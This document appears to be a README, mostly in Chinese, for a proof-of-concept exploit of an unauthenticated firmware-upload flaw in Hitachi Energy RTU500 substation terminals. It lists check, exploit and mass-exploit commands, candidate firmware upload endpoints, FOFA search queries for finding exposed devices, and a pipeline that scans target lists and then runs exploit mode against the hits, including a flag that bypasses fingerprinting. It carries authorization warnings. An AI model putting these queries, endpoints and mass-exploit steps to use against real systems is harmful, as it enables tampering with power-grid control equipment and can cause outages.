针对 CVE-2026-8065 的 Python 3 PoC — Hitachi Energy RTU500 系列 CMU 固件 — 固件更新 HTTP 端点上的认证绕过(CWE-306)。CVSS 3.1 9.1 严重(IoT/OT)。
| PoCbit | https://pocbit.org/pocs/cve-2026-8065 |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-8065 |
| 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H |
| CWE | CWE-306 关键功能缺少认证 |
| 影响 | 未认证的任意固件上传 → 变电站 RTU 的完整性/可用性 |
RTU500 是用于电力输配电领域的 Remote Terminal Unit(远程终端)系列;通过 Web 服务器进行 CMU 固件管理。在 CVE-2026-8065 中,固件更新端点可在未经身份验证(或通过构造的 POST 绕过)的情况下被访问;攻击者可上传任意固件,从而改变设备功能、破坏完整性或造成 DoS。
这意味着在自动化网络中,以 PR:N 实现远程关键 OT 影响——仅应在授权的隔离实验室中或供应商批准的渗透测试范围内进行测试。
受影响供应商(CNA): RTU500 系列 CMU 固件——9.0 和 12.0 版本线(自定义版本管理;请参阅最新公告和 13.8.2+ 补丁说明)。
Hitachi Energy 分配了 CVE-2026-8065(发布于 2026-09-29):
Hitachi Energy RTU500 的固件更新端点存在认证绕过漏洞,允许未认证攻击者通过精心构造的 POST 请求上传任意固件。
与 CVE-2024-2617(已认证用户在安全更新被禁用时绕过)不同,CVE-2026-8065 是对更新功能本身的未认证访问——在安全关键的 OT 面上存在完整的 CWE-306 缺口。
公开公告可能尚未列出确切的 URI;RTU500 文档描述了通过配置管理/Web 服务器文件传输进行固件处理。此 PoC 对 RTU500 进行指纹识别,并探测一组精选的可能固件 POST 路径,然后(利用模式)发送非生产探测数据块(POCBIT-8065-FW-PROBE)以检测未认证接受响应。
| 模式 | 行为 |
|---|---|
| check | 多端口 HTTP(S) 探测、RTU500 HTML 标记、CMU 版本正则、对固件路径的 GET 探测 |
| exploit | 不带会话 Cookie 的 POST 多部分伪造 .fw;若为 2xx + 接受启发式则标记为 exploited |
| mass | --list + -j;hits.txt / exploited.txt |
--dry-run | 利用:仅 GET 固件路径探测(不发送 POST) |
--lab | 本地模拟 RTU500 — 必须显示 exploited: true(健全性检查) |
--force | 在没有 RTU500 HTML 指纹的情况下进行利用 |
--firmware-paths | 当已知厂商路径时覆盖路径列表(逗号分隔) |
JSONL:pocbit、pocbit_catalog、pocbit_page、cve、vendor、product。
安全: 默认利用载荷不是有效的 CMU 闪存镜像——仅是一个用于检测的标记 + 填充。切勿在未隔离且未与厂商协调的情况下将利用模式指向实际电网设备。
cd CVE-2026-8065
pip install -r requirements.txt
python poc.py -u https://192.168.1.10 --mode check
python poc.py -u https://192.168.1.10 --mode exploit --dry-run
python poc.py -u https://192.168.1.10 --mode exploit
python poc.py -u https://192.168.1.10 --mode exploit --firmware-paths /api/firmware/update
使用 --list --mode check 时批量默认开启:每个目标 1–2 次 GET(列表 URL + 必要时 http/https),不进行 16 个固件路径扫描,短超时 (4s connect, 10s read),默认 -j 32。
python _format_fofa.py fofa_csv_1000.csv
python poc.py --list fofa_targets_rtu_priority.txt --mode check -j 40
python poc.py --list fofa_csv_1000.csv --mode check -j 50 --timeout 8
python poc.py --list targets.txt --mode check --full -j 20 # yavaş: çoklu port + tüm firmware GET
python poc.py --list hits.txt --mode exploit -j 8 --timeout 25
CLI 中的进度:[done/total hedef/s];命中会立即写为 HIT。
cert="Hitachi" 的 FOFA 列表噪声很大;在 CSV 中请先用 rtu_priority 扫描优先级列表。Check 命中 ≠ 真实 RTU: 页面上仅出现 hitachi energy 的企业 SPA 会被标记为 vendor_branding_only / vendor_branding_spa_false_positive;要利用漏洞需要 strong 指纹,例如 rtu500 / rtutil500 / cmu firmware(否则需使用 --force)。
python poc.py --lab
python poc.py --list fofa_targets_rtu_priority.txt --mode check --full -j 20
python poc.py --list hits.txt --mode exploit --dry-run -j 8
PoC 轮换(GET 检查 / POST 利用):
/api/firmware/update、/api/firmware/upload、/api/v1/firmware/update/firmware/update、/firmware/upload、/ws/firmware/update/CMU/firmware/upload、/ConfigurationManagement/Firmware/configuration/management/firmware、/FileUpload/Firmware/scripts/firmwareUpload、/cgi-bin/firmware、/admin/firmware/upload当 Hitachi 公布确切路径后,将 --firmware-paths 仅设置为该 URI。
title="RTU500" || body="RTU500" || body="Configuration Management"
body="Hitachi Energy" && (body="RTU" || body="CMU")
cert="Hitachi" && port="443"
body="RTUtil500" || body="rtutil500"
OT 网络中 FOFA 可能不完整;请将 CMMS / IP 计划 / VPN 跳板 清单整理为 targets.txt。
仅限经授权的变电站/实验室测试。未经授权对 OT 设备进行固件操纵可能违反法律和电网安全规则。
CVE-2026-8065 PoC: Hitachi Energy RTU500 unauth firmware update bypass (CWE-306, CVSS 9.1). IoT/OT colored check + mass exploit — RTU500 fingerprint, firmware endpoint probe, lab-safe upload test. https://pocbit.org/pocs/cve-2026-8065